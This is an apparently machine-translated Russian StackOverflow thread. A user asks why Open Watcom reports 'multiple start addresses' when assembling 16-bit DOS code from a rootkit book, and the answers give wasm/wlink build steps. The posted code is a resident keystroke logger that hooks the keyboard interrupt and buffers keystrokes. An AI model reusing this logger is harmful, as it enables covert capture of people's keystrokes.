Компиляция 16-битного ассемблерного кода с ошибкой open watcom (найдено несколько начальных адресов)

Я пытаюсь скомпилировать фрагмент 16-битного ассемблерного кода из арсенала книжных руткитов в IDE open watcom. Выдает ошибку "найдено несколько начальных адресов". Имея очень ограниченные знания сборки, я не смог разобраться. Это код:

CSEG SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
ORG 100H


_here:

JMP _main
JMP _overData

_buffer DB 512 DUP('W')
_terminator DB 'Z'
_index DW 0H
_oldISR DD 0H
_chkISR DD 0h
_overData:


_getBufferAddr:

STI
MOV DX, CS
LEA DI,_buffer
IRET


_hookBIOS:

PUSH AX
PUSH BX

PUSHF 
CALL CS:_oldISR

MOV AH, 01H
PUSHF
CALL CS:_chkISR

CLI
PUSH DS 
PUSH CS
POP DS

jz _hb_Exit 
LEA BX,_buffer
PUSH SI
MOV SI,WORD PTR[_index]
MOV DS:[BX+SI],AL
INC SI
MOV WORD PTR[_index], SI
POP SI


_hb_Exit:

POP DS
POP AX
POP BX

STI
IRET


_install:

LEA DX,_getBufferAddr
MOV CX,CS
MOV DS,CX
MOV AH,25H
MOV AL,187
INT 21H

MOV AH,35H
MOV AL,9H
INT 21H
MOV WORD PTR _oldISR[0],BX
MOV WORD PTR _oldISR[2],ES

MOV AH, 35H
MOV AL,16H
INT 21H
MOV WORD PTR _chkISR[0],BX
MOV WORD PTR _chkISR[2],ES

MOV AH,25H
MOV AL,9H
MOV CX,CS
MOV DS,CX
LEA DX,_hookBIOS
INT 21H

RET

PUBLIC _main


_main:

PUSH BP
MOV BP,SP
MOV AX,CS
MOV SS,AX
LEA AX,_localStk
ADD AX,100H

CALL NEAR PTR _install

MOV AH, 31H
MOV AL,0
MOV DX, 200H
INT 21H

POP BP
RET

PUBLIC _localStk
_localStk DB 256 DUP(?)

CSEG ENDS
END _here

Пожалуйста, помогите мне.


person user1831704    schedule 17.11.2012    source источник
comment
Только предположение, но, возможно, когда компоновщик увидит публичный _main, он линкуется в стандартной библиотеке, у которой есть собственная точка входа? Я не вижу смысла делать _main (или вообще использовать это имя, если честно) здесь.   -  person Jerry Coffin    schedule 17.11.2012


Ответы (2)


Извините за поздний ответ, но я только что понял это и опубликовал решение по другому вопросу StackOverflow, задающему аналогичный вопрос:

Компиляция asm реального режима (rootkit.arsenal)

person dbargatz    schedule 06.07.2013

Что я делаю для создания файлов .com с помощью OpenWatcom, так это компилирую файл сборки с помощью wasm, а затем использую wlink.

wasm hello.asm
wlink sys dos com file hello.o

Здесь объектный файл имеет расширение .o, которое wasm создает в Linux. В DOS, Windows и OS/2 это, вероятно, будет .obj, поэтому настройте командную строку в соответствии с вашей системой.

Я использую .model tiny и .286p в начале и пропускаю строки CSEG и ASSUME. Я полагаю, что это не имеет значения.

person Johann Oskarsson    schedule 14.12.2012